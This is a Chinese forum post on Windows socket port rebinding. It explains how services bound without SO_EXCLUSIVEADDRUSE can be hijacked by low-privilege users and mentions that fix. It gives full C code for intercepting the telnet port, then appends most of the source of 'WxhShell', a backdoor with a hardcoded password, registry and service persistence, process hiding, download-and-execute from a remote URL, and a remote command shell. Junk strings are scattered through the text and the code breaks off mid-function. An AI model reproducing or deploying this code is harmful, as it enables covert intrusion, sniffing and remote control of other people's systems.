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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uv?8V@x2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gF$1wV]e  
!k4 }v'=  
  saddr.sin_family = AF_INET; AEiWL.*.  
i/l!Cr2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Pm;x]Aj  
-9hp+0 <  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oNh68ON:c  
7uWJ6Wk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  zjZ;xn  
W*1d X"S  
  这意味着什么?意味着可以进行如下的攻击: #i'C  
T2;v<(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .~FKyP>[$  
#JHy[!4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (jD'+ "?  
 zZS>+O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J r=REa0  
oHv{Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @2-Hj~  
s|fCR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jAD+:@  
m9\@kA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z36brv<_'p  
PmuEL@'^ U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N` @W%  
=*@MQ  
  #include $%N;d>[U,  
  #include 3sd{AkD^  
  #include P2A]qX  
  #include    5WrIg(l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O6*'gnke  
  int main() m70`{-O  
  { s{x*~M$vt  
  WORD wVersionRequested; K|P9uHD  
  DWORD ret; uK+9gTv  
  WSADATA wsaData; iX0]g45o  
  BOOL val; # CP9^R S  
  SOCKADDR_IN saddr; 7UeE(=Hr5  
  SOCKADDR_IN scaddr; uD0(aqAZ  
  int err; )&b}^1  
  SOCKET s; x9FLr}e  
  SOCKET sc; /h.:br?M#P  
  int caddsize; ~Hp#6+  
  HANDLE mt; 48*Oh2BA  
  DWORD tid;   Gd]5xl HRU  
  wVersionRequested = MAKEWORD( 2, 2 ); #U\&i`  
  err = WSAStartup( wVersionRequested, &wsaData ); Huc3|~9  
  if ( err != 0 ) { _RA{SO  
  printf("error!WSAStartup failed!\n"); yBXkN&1=%;  
  return -1; =|j*VF2y"  
  } Zi2Eu4p l{  
  saddr.sin_family = AF_INET; =H.<"7  
   E< io^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Mo:!jS~a(Z  
Qd&d\w/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yhw:xg_;Kz  
  saddr.sin_port = htons(23); MX4 :e>dtd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k'WS"<-  
  { 8.q13t !D  
  printf("error!socket failed!\n"); [N0/">c  
  return -1; jWO&SWso  
  } )D6'k{6M  
  val = TRUE; : pE-{3I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 + Tgy,oD0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i4{ /  
  { H`+]dXLB  
  printf("error!setsockopt failed!\n"); U#UVenp@  
  return -1; Kd AR)EU>  
  } pUCEYR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^^t]vojX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X$j|/))  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MIk #60Ab  
eE#81]'6a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cAsSN.HFS  
  {  gnKU\>2k  
  ret=GetLastError(); rS,* s'G  
  printf("error!bind failed!\n"); 5 ~ *'>y  
  return -1; wHo#%Y,Nmi  
  } On2Vf*G@|  
  listen(s,2); ~8Dd<4?F]  
  while(1) )|59FOWg  
  { 5W:Gl?$S}  
  caddsize = sizeof(scaddr); C[J`x>-K  
  //接受连接请求 b}EYNCw_7S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~,M;+T}[r  
  if(sc!=INVALID_SOCKET) Kc-A-P &Ry  
  { MZ|c7f&`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gOES2 4$2  
  if(mt==NULL) ATXx? b8h  
  { ?=|) n%  
  printf("Thread Creat Failed!\n"); fxtYo,;$  
  break; m\}\RnZu  
  } =oKPMmpCZ  
  } Bcd0   
  CloseHandle(mt); Hm8EYPr J  
  } ;k63RNT,M&  
  closesocket(s); ] fwTi(4y  
  WSACleanup(); pO7{3%  
  return 0; 4/mj"PBKL  
  }   f4aD0.K.g|  
  DWORD WINAPI ClientThread(LPVOID lpParam) /%}YuN  
  { Xx9~  
  SOCKET ss = (SOCKET)lpParam; =E6i1x%j  
  SOCKET sc; (`uC"MLk  
  unsigned char buf[4096]; o<Rxt *B  
  SOCKADDR_IN saddr; ,Rr&.  
  long num; -V<=`e  
  DWORD val; =vqE=:X6  
  DWORD ret; &s6(3k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9cw4tqTm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =Y=^]ayO/  
  saddr.sin_family = AF_INET; S*DBY~pZy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [<3Q$*Ew  
  saddr.sin_port = htons(23); EiIFVP   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %8`1Li6g  
  { 0F;(_2V-  
  printf("error!socket failed!\n"); t6,M  
  return -1; m?kIa!GM=  
  } 7Hr4yh[j&  
  val = 100; Ik@Q@ T"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gYH:EuY,  
  { 7K5o" "  
  ret = GetLastError(); =-1^K  
  return -1; _>:=<xyOq  
  } Q,M/R6i-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;Cp/2A}Xx  
  { PUFW^"LV  
  ret = GetLastError(); :0TSOT9.  
  return -1; iYfLo">  
  } me}Gb a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iR}i42Cu  
  { iHG:W wM&  
  printf("error!socket connect failed!\n"); k~s>8N:&G  
  closesocket(sc); A](}"Pi!n  
  closesocket(ss); JXR/K=<^  
  return -1; oe_[h]Hgl  
  } z&HN>7  
  while(1) LXLIos55S  
  { F# 37Qv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yfw>y=/p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WUOPYYW<o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .1?i'8TF  
  num = recv(ss,buf,4096,0); H|Fqc=qp  
  if(num>0) 9Nbg@5(  
  send(sc,buf,num,0); O t4+VbB6  
  else if(num==0) `\u),$  
  break; :M?')  
  num = recv(sc,buf,4096,0); !&:W1Jkp(  
  if(num>0) OXCml(>{  
  send(ss,buf,num,0); 4;~lpty  
  else if(num==0) 2.L6]^N p(  
  break; q ]R @:a/  
  } (LvOsr~  
  closesocket(ss); M0IqQM57N  
  closesocket(sc); X|n[9h:%  
  return 0 ; VFaK>gQ  
  } >zx50e)  
u.K'"-xt4K  
h*X%:UbW  
========================================================== . eag84_  
=`.5b:e  
下边附上一个代码,,WXhSHELL `q{'_\gVt(  
rxK[CDM,  
========================================================== d~f0]O  
9qO:K79|  
#include "stdafx.h" rpP+20v  
YHv,Z|.w  
#include <stdio.h> 0~L 8yMM  
#include <string.h> U!UX"r  
#include <windows.h> xp;8p94   
#include <winsock2.h> w#bbm'j7r  
#include <winsvc.h> .1q~,}toX  
#include <urlmon.h> ZYt"=\_  
DBrzw+;e3  
#pragma comment (lib, "Ws2_32.lib") wNZS6JF.d  
#pragma comment (lib, "urlmon.lib") S$_Ts1Ge6  
-clg 'Aa;.  
#define MAX_USER   100 // 最大客户端连接数 D2*Q1n  
#define BUF_SOCK   200 // sock buffer yD id` ym  
#define KEY_BUFF   255 // 输入 buffer WMRgf~TY=2  
~Wd8>a{w  
#define REBOOT     0   // 重启 ]X;*\-  
#define SHUTDOWN   1   // 关机 *z:lq2"G  
LFM5W&?  
#define DEF_PORT   5000 // 监听端口 (IQ L`3f%  
%B un@  
#define REG_LEN     16   // 注册表键长度 VqT[ca\  
#define SVC_LEN     80   // NT服务名长度 52R.L9Ai  
,7$uh):  
// 从dll定义API Dq1XZ%8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3:gO7Uv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v@1Jh ns  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [67f;?b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hr"+0KeX  
JRs[%w`kD  
// wxhshell配置信息 uC ;PP=z  
struct WSCFG { $,v+i -  
  int ws_port;         // 监听端口 Z42Suy  
  char ws_passstr[REG_LEN]; // 口令 r\- k/0  
  int ws_autoins;       // 安装标记, 1=yes 0=no [B;Ek \5W  
  char ws_regname[REG_LEN]; // 注册表键名 M#<fh:>  
  char ws_svcname[REG_LEN]; // 服务名 8n p>#V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lSv;wwEg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n{NgtH\V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $<DA[ %pv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *1]k&#s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =@/^1.`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [*E.G~IS`  
u\Q**m2XP  
}; v8(u9V%?6  
DMpd(ws  
// default Wxhshell configuration ba:^zO^  
struct WSCFG wscfg={DEF_PORT, %SFR.U0}yK  
    "xuhuanlingzhe", wq`Kyhk  
    1, -^yc yZ  
    "Wxhshell", yFtf~8s3  
    "Wxhshell", T:5%sN;#O  
            "WxhShell Service", ~g|0uO}.  
    "Wrsky Windows CmdShell Service", B{7/A[$%C  
    "Please Input Your Password: ", &=O1Qg=K  
  1, AS^$1i:  
  "http://www.wrsky.com/wxhshell.exe", /3%xQK>%  
  "Wxhshell.exe" mK/P4]9g  
    }; &jd<rs5}  
nM}`H'0  
// 消息定义模块 $6%;mep  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9rc n*sm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^moIMFl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gl:T  
char *msg_ws_ext="\n\rExit."; _jKVA6_E  
char *msg_ws_end="\n\rQuit."; eTHh  
char *msg_ws_boot="\n\rReboot..."; 6u3(G j@  
char *msg_ws_poff="\n\rShutdown..."; <T[ui  
char *msg_ws_down="\n\rSave to "; epyYo&x}  
zg Ti Az  
char *msg_ws_err="\n\rErr!"; qnV9TeU)  
char *msg_ws_ok="\n\rOK!"; >5W"a?(  
\>azY g  
char ExeFile[MAX_PATH]; y{P9k8v!z  
int nUser = 0; !sWBj'[>  
HANDLE handles[MAX_USER]; 2{: J1'pC  
int OsIsNt; ,QAp5I%3=  
-{mq\GvGn  
SERVICE_STATUS       serviceStatus; nit7|T@^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mQuaO# I,  
Qn&^.e9I  
// 函数声明 z3LPR:&Z  
int Install(void); C^O^Jj5X%  
int Uninstall(void); 8Y'"=!3  
int DownloadFile(char *sURL, SOCKET wsh); {-qTU6  
int Boot(int flag); k= 1+mG  
void HideProc(void); xGk4KcxKs  
int GetOsVer(void); H43D=N&  
int Wxhshell(SOCKET wsl); /a)=B)NH  
void TalkWithClient(void *cs); Xh!Pg)|E  
int CmdShell(SOCKET sock); GQWTQIl]  
int StartFromService(void); d'D\#+%> =  
int StartWxhshell(LPSTR lpCmdLine); l_EI7mJ  
A2S9h,t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =_3qUcOP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vH8%a8V  
<-aI%'?*  
// 数据结构和表定义 TnAX;+u  
SERVICE_TABLE_ENTRY DispatchTable[] = _ @76eZd  
{ z*1K<w8  
{wscfg.ws_svcname, NTServiceMain}, uS,$P34^oy  
{NULL, NULL} fdW={}~  
}; bd}SB-D  
uMZf9XUE  
// 自我安装 W<l(C!{  
int Install(void) brot&S2P><  
{ 54%}JA][  
  char svExeFile[MAX_PATH]; JFdzA  
  HKEY key; hKYPH?b%  
  strcpy(svExeFile,ExeFile); I%xJ)fIK  
8 \Oiv$r  
// 如果是win9x系统,修改注册表设为自启动 4tWI)}+ak  
if(!OsIsNt) { )CQ}LbXZy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Re\ T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DJUtuex  
  RegCloseKey(key); \(L^ /]}G)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ry3 f'gx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9B0"GEwrs  
  RegCloseKey(key); Bk <P~-I  
  return 0; *h9vMks o  
    } P^-9?u Bno  
  } #IDCCD^1=  
} gvYs<,:  
else { B[50{;X  
uD3_'a  
// 如果是NT以上系统,安装为系统服务 e vuP4-[y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =<xbE;,0  
if (schSCManager!=0) k =_@1b-  
{ W -&5 v  
  SC_HANDLE schService = CreateService 4pv :u:Z  
  ( wYG0*!Vj  
  schSCManager, \>k+Oyj  
  wscfg.ws_svcname, 7 i/Cax  
  wscfg.ws_svcdisp, BZ9iy~  
  SERVICE_ALL_ACCESS, "dTXT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q8i6kf!  
  SERVICE_AUTO_START, {c; 3$  
  SERVICE_ERROR_NORMAL, dW68lVWq_  
  svExeFile, l-EQh*!j  
  NULL, T(F8z5s5  
  NULL, +6atbbe}   
  NULL, W^f#xrq>  
  NULL, =oJiNM5_u  
  NULL X3yr6J[ ^  
  ); oJ:J'$W(  
  if (schService!=0) = ;d<Ikj  
  { <& iBR  
  CloseServiceHandle(schService); (z7#KJ1+Aw  
  CloseServiceHandle(schSCManager); Xg,BK0O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :_*Q IyW  
  strcat(svExeFile,wscfg.ws_svcname); 4fswx@l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `m^OnH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qZe"'"3M  
  RegCloseKey(key); VWa(@ A  
  return 0; zdE^v{}|  
    } /+msrrpD  
  } X Rn=;gK%J  
  CloseServiceHandle(schSCManager); 6Y^o8R  
} UEUTu}4y  
} eHR<(8c'f  
-s"lW 7N^  
return 1; iXFaQ  
} A$cbH.  
h;->i]  
// 自我卸载 -yeT$P&|  
int Uninstall(void) "Cb<~Dy  
{ 6tguy  
  HKEY key; F04Etf 2k  
R8l9i2  
if(!OsIsNt) { :F&WlU$L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )w-?|2-w5  
  RegDeleteValue(key,wscfg.ws_regname); CCV~nf  
  RegCloseKey(key); C#>C59  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "T|\  
  RegDeleteValue(key,wscfg.ws_regname); s9iM hCu|  
  RegCloseKey(key); }^muAr  
  return 0; 1oPT8)[U  
  } 8*wI^*Q  
} e+wd>iiB  
} zu#o<6E{  
else { D 3PF(Wx  
0N.*c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jTnu! H2o  
if (schSCManager!=0) /7^~*  
{ -bwl~3ZTi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OjZ@_V:  
  if (schService!=0) PW}.`  
  { Cp%|Q.?  
  if(DeleteService(schService)!=0) { PBmt.yF  
  CloseServiceHandle(schService); 0*)79Sz  
  CloseServiceHandle(schSCManager); U{EW +>  
  return 0; 4%TC2Laii  
  } N!AFsWV  
  CloseServiceHandle(schService); T (qu~}  
  } cO:x{~  
  CloseServiceHandle(schSCManager); {\B!Rjt[T  
} %[J( ,rm  
} |{ k B`  
iwbjjQPr  
return 1; V~;YV]1Y  
} S4w/ kml3  
VZ8L9h<{"  
// 从指定url下载文件 ,P}c92;  
int DownloadFile(char *sURL, SOCKET wsh) L6m'u6:1{  
{ #XsqTK_nk  
  HRESULT hr; 9L};vkYk#  
char seps[]= "/"; |NI0zd  
char *token; ?@_dx=su  
char *file; rfjQx]3pB  
char myURL[MAX_PATH]; O%r<I*T^r  
char myFILE[MAX_PATH]; >KE(%9y~  
7u zN/LAF  
strcpy(myURL,sURL); Dng^4VRd  
  token=strtok(myURL,seps); >qE$:V "_5  
  while(token!=NULL) t`  Sh!e  
  { U&6f}=v C  
    file=token; :|a[6Uwl\V  
  token=strtok(NULL,seps); ydt1ED0Q-  
  } y{&,YV&_h  
b}fH$.V@  
GetCurrentDirectory(MAX_PATH,myFILE); =F9-,"EAI  
strcat(myFILE, "\\"); x-1[2K1"[  
strcat(myFILE, file); <x/&Ml+  
  send(wsh,myFILE,strlen(myFILE),0); ,f$ RE6  
send(wsh,"...",3,0); @:63OLlrG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |s:!LU&OL\  
  if(hr==S_OK)  Dg@6o  
return 0; du !.j  
else "jSn`  
return 1; FB@G.f  
yZ`\.GgC^&  
} (~jOtUyT  
WI%,m~  
// 系统电源模块 _/Hu'9432  
int Boot(int flag) -a3C3!!  
{ N$ ?qAek  
  HANDLE hToken; YW*ti|u|w  
  TOKEN_PRIVILEGES tkp; C RNO4  
vQ;Z 0_  
  if(OsIsNt) { %]-tA,u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t?\osPL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {S?.bT%&  
    tkp.PrivilegeCount = 1; W+QI D/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DD1S]m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {0?76|  
if(flag==REBOOT) { % :NI@59  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !59q@M ya[  
  return 0; ZR1EtvVG  
} 6Pz\6DU,I  
else { #r\uh\Cy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mwt3EV5  
  return 0; :0J;^@   
} 2n\EZ  
  } n'SnqJ&}  
  else { $3So`8Bm[$  
if(flag==REBOOT) { ^Kn}{m/3Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hQ9VcS6=gD  
  return 0; j:0z/gHp$  
} ` sSI;+  
else { k]Yd4CC2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q N>j2~  
  return 0; *p"%cas  
} % 74}H8q_z  
} k3&Wv  
#soWX_>  
return 1; gD-<^Q-  
} xu3qX"  
L!\I>a5C0G  
// win9x进程隐藏模块 cG.4%Va@s_  
void HideProc(void) +BESO  
{ Lx.X#n.]T  
RJ`F2b sYN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -0Ps. B  
  if ( hKernel != NULL ) '2eggX%  
  { [l0>pHl@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4g|}]K1s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FbF P  
    FreeLibrary(hKernel); (f7R~le  
  } &T{+B:*v  
yJ?6BLJi  
return; e7-U0rrE  
} _di[PU=Vh  
Au9Rr3n  
// 获取操作系统版本 aPRF  
int GetOsVer(void) d+8Sypv^4*  
{ "lB[IB)  
  OSVERSIONINFO winfo; o]@?QAu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LqNsQu";  
  GetVersionEx(&winfo); _k&vW(O=:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :AL nm0d  
  return 1; l2i[wc"9  
  else Pwf":U)  
  return 0; " 5=Gu1  
} ^]K_k7`I  
,#nyEE  
// 客户端句柄模块 5-*/wKjLz  
int Wxhshell(SOCKET wsl) Vf0m7BJc3  
{ }5EvBEv-)  
  SOCKET wsh; [:Sl^ Z&6M  
  struct sockaddr_in client; -GH>12YP  
  DWORD myID; :U=*@p4?  
dW6sA65<Y  
  while(nUser<MAX_USER) MGK%F#PM  
{ T)MKhK9\Ab  
  int nSize=sizeof(client); nPE{Gp) }  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ta %yQd7  
  if(wsh==INVALID_SOCKET) return 1; XsEDI?p2  
09/Mg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `KB;3L  
if(handles[nUser]==0)  tmKHT  
  closesocket(wsh); #mFIZMTRd  
else J.$N<.  
  nUser++; EjrK.|I0  
  } W|4:3 c4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R10R,*6>  
vr"O9L w  
  return 0; 0tK(:9S  
} xcty  
<m'W{n%Pp  
// 关闭 socket |cs]98FEf  
void CloseIt(SOCKET wsh) 9!; /+P  
{ @P@?KZ..v!  
closesocket(wsh); PKJw%.-  
nUser--; dSkMA  
ExitThread(0); }"Clv /3_  
} Qu|H_<8g  
8MU+i%hd  
// 客户端请求句柄 I;FHjnn(  
void TalkWithClient(void *cs) EV/DJ$C }  
{ u^, eHO  
DZ"'GQSg  
  SOCKET wsh=(SOCKET)cs; 7v't# =  
  char pwd[SVC_LEN]; Q\rf J||  
  char cmd[KEY_BUFF]; \,D>zF  
char chr[1]; a]]eQ(xQ  
int i,j; 3?5JY;}h>"  
l|v`B6(  
  while (nUser < MAX_USER) { S"H djEF7\  
I'}&s|6  
if(wscfg.ws_passstr) { JV ydTvc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q`kV| pjg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IK1'" S|  
  //ZeroMemory(pwd,KEY_BUFF); H%pD9'q~  
      i=0; 2{|Z?3FJ^  
  while(i<SVC_LEN) { SMo nJ;Y  
i]9C"Kw$L  
  // 设置超时 {^8?fJ/L  
  fd_set FdRead; w{mw?0  
  struct timeval TimeOut; rny(8z%Ck-  
  FD_ZERO(&FdRead); s5h}MXIXw  
  FD_SET(wsh,&FdRead); MroN=%|t  
  TimeOut.tv_sec=8; xIA]5@;a  
  TimeOut.tv_usec=0; OY Sq)!:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'h R0JXy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5\V""fH  
KT[ZOtu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K @RGvP  
  pwd=chr[0]; DQ<4`wEM  
  if(chr[0]==0xd || chr[0]==0xa) { nr&bpA/  
  pwd=0; ijP `fM8  
  break; Fs"i fn0  
  } ?zex]!R  
  i++; >$,P )cB'  
    } .dI".L  
D%L^[|)c\s  
  // 如果是非法用户,关闭 socket oz:"w nX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #/_{(P  
} 't6l@ _x  
|M`'   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gFqF&t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #N"m[$;QR  
E5!vw@,  
while(1) { A3)"+`&PUl  
zZ6m`]{B9?  
  ZeroMemory(cmd,KEY_BUFF); 4_kY^"*#"  
}ZK%@b>  
      // 自动支持客户端 telnet标准   ,~q:rh+  
  j=0; ^"<x4e9+j  
  while(j<KEY_BUFF) { 'Lq+ONX5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  & .0A%  
  cmd[j]=chr[0]; {0~\T[qm  
  if(chr[0]==0xa || chr[0]==0xd) { 4sRM" w;  
  cmd[j]=0; fV@ [S  
  break; z%S$~^=b  
  } ~UJ.A<>Fh  
  j++; HjIIhl?UY  
    } vJxE F&X  
w? >f:2(=[  
  // 下载文件 ~| b\1SR  
  if(strstr(cmd,"http://")) { v4<W57oH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3~{I/ft  
  if(DownloadFile(cmd,wsh)) 2xf #@`U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? a#Gn2  
  else _V 4O#;%?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }f;WYz5  
  } q8_(P&  
  else { 6@TU9AZS `  
fX]`vjM{  
    switch(cmd[0]) { TG[u3 Y4  
  <l(n)|H1P  
  // 帮助 u$ yXuFj/  
  case '?': { jYi,oE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fGb}V'x}r  
    break; HdN5zl,q  
  } m^!:n$  
  // 安装 gUNhN1=  
  case 'i': { / cb`%"Z  
    if(Install()) tPl 4'tW_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'y\Je7  
    else {;DAKWm@T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ie(i1?`A8  
    break; PJiU2Y33  
    } E/g"}yR  
  // 卸载 Asv]2> x  
  case 'r': { ~4khIz  
    if(Uninstall()) /i3 JP}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lhHH|~t0  
    else g!R7CRt%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  +=jS!  
    break; xRe`Duy:  
    } &EqLF  
  // 显示 wxhshell 所在路径 ])wdd>'  
  case 'p': { [02rs@c>  
    char svExeFile[MAX_PATH]; r5DR F4,7  
    strcpy(svExeFile,"\n\r"); db~^Gqv6k  
      strcat(svExeFile,ExeFile); 6LBdTnzUd  
        send(wsh,svExeFile,strlen(svExeFile),0); 5X20/+aT  
    break; :ZM9lBYh  
    } uX*2Rs$s  
  // 重启 4~,Z 'k  
  case 'b': { d #1Y^3n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H"FK(N\  
    if(Boot(REBOOT)) *{3d+j/?/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lG)wa  
    else { QQBh)5F  
    closesocket(wsh); QkBw59L7  
    ExitThread(0); E +_n@t"  
    } <%m YsaM  
    break; +b(};(wL  
    } Z+&V  >  
  // 关机 +P^ ;7"H  
